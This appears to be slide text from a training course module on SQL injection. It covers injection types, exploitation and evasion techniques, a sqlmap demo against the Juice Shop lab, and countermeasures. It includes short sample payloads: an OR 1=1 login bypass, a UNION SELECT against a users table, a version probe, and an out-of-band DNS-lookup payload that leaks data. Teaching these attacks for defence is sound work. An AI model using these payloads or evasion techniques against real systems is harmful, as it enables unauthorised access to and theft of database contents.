How to Perform SQL Injection
Peter Mosmans
Lead Penetration Tester
@onwebsecurity [Link]
[Link]
Ethical Hacking Series
Introducing Reconnaissance/ Scanning Vulnerability
Enumeration
Ethical Hacking Footprinting Networks Analysis
Social
System Hacking Malware Threats Sniffing Denial of Service
Engineering
Evading IDS,
Hacking Web Hacking Web
Session Hijacking Firewalls and SQL Injection
Servers Applications
Honeypots
IoT and OT Cloud
Hacking Wireless Hacking Mobile Cryptography
Hacking Computing
[Link]
Ethical Hacking Series
Introducing Reconnaissance/ Scanning Vulnerability
Enumeration
Ethical Hacking Footprinting Networks Analysis
Social
System Hacking Malware Threats Sniffing Denial of Service
Engineering
Evading IDS,
Hacking Web Hacking Web
Session Hijacking Firewalls and SQL Injection
Servers Applications
Honeypots
IoT and OT Cloud
Hacking Wireless Hacking Mobile Cryptography
Hacking Computing
[Link]
Ethical Hacking Series
Introducing Reconnaissance/ Scanning Vulnerability
Enumeration
Ethical Hacking Footprinting Networks Analysis
Social
System Hacking Malware Threats Sniffing Denial of Service
Engineering
Evading IDS,
Hacking Web Hacking Web
Session Hijacking Firewalls and SQL Injection
Servers Applications
Honeypots
IoT and OT Cloud
Hacking Wireless Hacking Mobile Cryptography
Hacking Computing
[Link]
Ethical Hacking Series
Introducing Reconnaissance/ Scanning Vulnerability
Enumeration
Ethical Hacking Footprinting Networks Analysis
Social
System Hacking Malware Threats Sniffing Denial of Service
Engineering
Evading IDS,
Hacking Web Hacking Web
Session Hijacking Firewalls and SQL Injection
Servers Applications
Honeypots
IoT and OT Cloud
Hacking Wireless Hacking Mobile Cryptography
Hacking Computing
[Link]
SQL Injection
SQL injection concepts
Types of SQL injection
Exploitation techniques
How to perform SQL injection
- Methodology
- Tools
Evasion Techniques
SQL injection countermeasures
[Link]
SQL Injection Concepts
[Link]
SQL Basics
Structured Query Language
Domain-specific language to manage data
Perform create, read, update, delete
functions
Designed for relational databases
ANSI and ISO standardized, yet
implementations differ
Sometimes also possible to perform system
commands
[Link]
Database Types
Format for data storage
Often hierarchical and structured
Relational
Object
Non relational: NoSQL
NoSQL database types can also be
vulnerable
[Link]
SELECT name, email FROM users WHERE username = "fred" AND password = "secret"
SQL Statement Example
Select the value of the name and email column from the users table,
where the username equals fred,
and the password equals secret
[Link]
SQL Injection
Being able to inject code into the SQL
statement
Control the query itself
Retrieve or manipulate data
Manipulate control statements
Influence availability
Sometimes even remote code execution
possible
[Link]
In Practice
Exact syntax depends on underlying database
Use character delimiter '
Use string delimiter "
Use single line comment delimiter --
Use query delimiter ;
[Link]
SELECT name, email FROM users WHERE username = "fred" AND password = "secret"
password: " OR 1=1 --
SELECT name, email FROM users WHERE username = "fred" AND password = "" OR 1=1 --
SQL Injection Example
Select the value of the name and email column from the users table,
where the username equals fred,
and the password equals secret
[Link]
Types of SQL Injection
[Link]
Channels
Input Output
Control Channel Data Channel Side Channel
[Link]
Types of SQL Injection
In-band SQL Inferential SQL Out-of-band SQL
injection injection injection
Use data channel for Use data channel for Use side channel for
all output ‘1-bit’ output output
[Link]
Exploitation Techniques
[Link]
Exploitation Techniques
Union-based
Error-based
Boolean exploitation technique
Out of band exploitation technique
Tautology exploitation technique
[Link]
HI Valid input
HI ‘ “ Try to generate error using control characters
Error-based
HI ‘ OR 1=1 -- Modify the logic
Tautology
HI ‘ UNION SELECT NAME FROM USERS -- Try to select data from another table
Union-based
HI ‘ AND (SUBSTR(@@VERSION,1,1) = 1) – Compare leftmost character of version with 1
Boolean-based
HI ‘; SELECT Enforce a domain name lookup
LOAD_FILE(CONCAT(@@VERSION,‘.[Link]’) --
Out-of-band
[Link]
How to Perform SQL Injection
[Link]
SQL Injection Methodology
Evaluate input fields
Try out characters relevant for the database
Gather information about the database
Observe error messages
Exfiltrate data
[Link]
Automate SQL Injection Attacks
sqlmap
Burp Suite
NoSQLMap
[Link]
Perform a SQL injection attack using
sqlmap
Demo - Install sqlmap
- Execute sqlmap through Burp Proxy
- Review results
Prerequisites
- Juice Shop up and running on port 3000
- Python 3 installed
- Burp Suite installed
[Link]
Evasion Techniques
[Link]
Evasion Techniques
Inserting comments between keywords
Character encodings
String concatenation
Obfuscation
White space manipulation
[Link]
SQL Injection Countermeasures
[Link]
SQL Injection Countermeasures
Validate input
Avoid use of dynamic SQL statements
Prepared statements: Use parameterized input
with stored procedures
Disable (detailed) error messages
Use a Web Application Firewall
Log errors
[Link]
Learning Check
[Link]
Learning Check
Relational database
In-band SQL injection
Error-based exploitation technique
Character encoding evasion technique
Web Application Firewall
[Link]
Module Review
Mechanics of SQL injection
Key Learnings SQL injection types
Exploitation techniques
[Link]